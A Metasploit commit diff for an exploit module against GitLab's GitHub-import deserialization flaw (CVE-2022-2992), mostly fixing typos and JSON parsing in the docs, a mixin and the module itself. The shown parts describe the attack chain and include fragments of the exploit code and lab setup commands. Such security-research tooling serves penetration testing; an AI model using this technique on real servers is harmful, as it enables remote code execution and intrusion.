Use #get_json_document instead of JSON.parse

Also fix typos
This commit is contained in:
Spencer McIntyre 2023-02-09 17:29:01 -05:00
parent cf6d5d3a14
commit 210b7a3254
4 changed files with 25 additions and 29 deletions

View File

@ -2,17 +2,17 @@
### Description
An authenticated user can import a repository from Github into Gitlab.
An authenticated user can import a repository from GitHub into GitLab.
When importing a GitHub repository the Gitlab api client uses `Sawyer` for handling the responses. This takes a JSON hash and converts
When importing a GitHub repository the GitLab api client uses `Sawyer` for handling the responses. This takes a JSON hash and converts
it into a Ruby class that has methods matching all of the keys. This happens recursively, and allows for any method to be overridden
including built-in methods such as `to_s`.
The redis gem uses `to_s` and `bytesize` to generate the RESP (Redis serialization protocol) command. By replying with a specially
crafted JSON object (that will be further parsed as a `Sawyer::Resource`), one controlling the Github server can inject arbitrary
crafted JSON object (that will be further parsed as a `Sawyer::Resource`), one controlling the GitHub server can inject arbitrary
redis commands to the stream.
On August 30, 2022, Gitlab released a software update that addressed this vulnerability (CVE-2022-2992).
On August 30, 2022, GitLab released a software update that addressed this vulnerability (CVE-2022-2992).
The following products are affected:
@ -23,15 +23,15 @@ The following products are affected:
### Exploitation
This module exploits the Gitlab vulnerability by injecting a Ruby serialized object into the Redis user
session object. Once Gitlab calls the Marshal.load when loading the ` _gitlab_session` cookie, it will
This module exploits the GitLab vulnerability by injecting a Ruby serialized object into the Redis user
session object. Once GitLab calls the Marshal.load when loading the ` _gitlab_session` cookie, it will
execute a deserialisation gadget and trigger the payload.
To achieve that this module:
- Will generate an universal Ruby deserialisation gadget payload;
- Will create an access token for the user targeted;
- Will start a server to emulate the Github and serve the payload to be injected;
- Will create a group and also trigger the Github import feature to the repository from the controlled server
- Will start a server to emulate GitHub and serve the payload to be injected;
- Will create a group and also trigger the GitHub import feature to the repository from the controlled server
- Will perform a request using the just injected session ID that when loaded must trigger the payload.
After the execution the cleanup method will be called and:
@ -81,7 +81,7 @@ $ TOKEN=`tr -dc A-Za-z0-9 </dev/urandom | head -c 24 ; echo ''`
$ docker exec -e TOKEN=$TOKEN -it gitlab gitlab-rails runner "token = User.find_by_username('root').personal_access_tokens.create(scopes: [:sudo, :api], name: 'Automation token'); token.set_token(ENV['TOKEN']); token.save!"
$ # Using the personal access token from the root user a user.
$ USER=msf
$ PASSWORD=SuperStrongestGitlabPassword
$ PASSWORD=SuperStrongestGitLabPassword
$ curl --request POST --header "PRIVATE-TOKEN: $TOKEN" --data "skip_confirmation=true&email=$USER@gitlab.example&name=$USER&username=$USER&password=$PASSWORD" "http://gitlab.example:880/api/v4/users"
```
@ -92,7 +92,7 @@ Follow [Setup](#setup) and [Scenarios](#scenarios).
### TARGETURI (required)
The path to the Gitlab (Default: `/`).
The path to the GitLab (Default: `/`).
### USERNAME (required)
@ -104,7 +104,7 @@ The password of the target user to authenticate with.
### NGROK_URL (required)
The Ngrok tunnel url to be used. The Gitlab will perform requests to this address when trying to import the repository.
The Ngrok tunnel url to be used. The GitLab will perform requests to this address when trying to import the repository.
Example how start the tunnel:
```
@ -121,7 +121,7 @@ The local port to listen on. This is the port to be used when creating the tunne
## Scenarios
### Docker container running Gitlab 15.3.1
### Docker container running GitLab 15.3.1
```
msf6 exploit(multi/http/gitlab_github_import_rce_cve_2022_2992) > options

View File

@ -23,12 +23,6 @@ module Msf
Msf::OptString.new('TARGETURI', [true, 'The base path to the gitlab application', '/'])
], Msf::Exploit::Remote::HTTP::Gitlab
)
register_advanced_options(
[
Msf::OptBool.new('GITLABCHECK', [true, 'Check if the website is a valid Gitlab install', true]),
], Msf::Exploit::Remote::HTTP::Gitlab
)
end
# class GitLabClientException < StandardError; end

View File

@ -25,14 +25,14 @@ module Msf::Exploit::Remote::HTTP::Gitlab::Import
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError.new message: 'Request timed out' unless res
# 422 is returned if the import failed, but the response body contains the error message
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ImportError, JSON.parse(res.body)['errors'] if res.code == 422
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ImportError, res.get_json_document['errors'] if res.code == 422
# 201 is returned if the import was successfully enqueued
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ImportError, 'Import failed' unless res.code == 201
# Example of a successful reposnse body
# Example of a successful response body
# {"id":54,"name":"gh-import-761","full_path":"/fpXxUqzfQY/gh-import-761","full_name":"fpXxUqzfQY / gh-import-761"}
body = JSON.parse(res.body)
body = res.get_json_document
return body if body

View File

@ -20,12 +20,12 @@ class MetasploitModule < Msf::Exploit::Remote
super(
update_info(
info,
'Name' => 'Gitlab Github Repo Import Deserialization RCE',
'Name' => 'GitLab GitHub Repo Import Deserialization RCE',
'Description' => %q{
An authenticated user can import a repository from Github into Gitlab.
An authenticated user can import a repository from GitHub into GitLab.
If a user attempts to import a repo from an attacker-controlled server,
the server will reply with a Redis serialization protocol object in the nested
`default_branch`. Gitlab will cache this object and
`default_branch`. GitLab will cache this object and
then deserialize it when trying to load a user session, resulting in RCE.
},
'Author' => [
@ -106,7 +106,7 @@ class MetasploitModule < Msf::Exploit::Remote
version = Rex::Version.new(gitlab_version)
return CheckCode::Safe("Detected Gitlab version #{version} which is not vulnerable") unless (
return CheckCode::Safe("Detected GitLab version #{version} which is not vulnerable") unless (
version.between?(Rex::Version.new('11.10'), Rex::Version.new('15.1.6')) ||
version.between?(Rex::Version.new('15.2'), Rex::Version.new('15.2.4')) ||
version.between?(Rex::Version.new('15.3'), Rex::Version.new('15.3.2'))
@ -118,7 +118,9 @@ class MetasploitModule < Msf::Exploit::Remote
refs: references,
info: [version]
)
return CheckCode::Vulnerable("Detected Gitlab version #{version} which is vulnerable")
return CheckCode::Appears("Detected GitLab version #{version} which is vulnerable.")
rescue Msf::Exploit::Remote::HTTP::Gitlab::Error::AuthenticationError
return CheckCode::Detected('Could not detect the version because authentication failed.')
rescue Msf::Exploit::Remote::HTTP::Gitlab::Error => e
return CheckCode::Unknown("#{e.class} - #{e.message}")
end
@ -151,11 +153,11 @@ class MetasploitModule < Msf::Exploit::Remote
def execute_command(cmd, _opts = {})
vprint_status("Executing command: #{cmd}")
# due the AutoCheck mixin and the keep_cookies option the cookie might be already seted
# due to the AutoCheck mixin and the keep_cookies option, the cookie might be already set
self.cookie = gitlab_sign_in(datastore['USERNAME'], datastore['PASSWORD']) unless cookie
vprint_status("Session ID: #{session_id}")
vprint_status("Creating group #{group_name}")
# We need group id for the clenaup method
# We need group id for the cleanup method
@group_id = gitlab_create_group(group_name, api_token)['id']
fail_with(Failure::UnexpectedReply, 'Failed to create a new group') unless @group_id
@redis_payload = redis_payload(cmd)
@ -206,7 +208,7 @@ class MetasploitModule < Msf::Exploit::Remote
@packfile = Msf::Exploit::Git::Packfile.new('2', git_objs)
end
# Handle incoming requests from Gitlab server
# Handle incoming requests from GitLab server
def on_request_uri(cli, req)
super
headers = { 'Content-Type' => 'application/json' }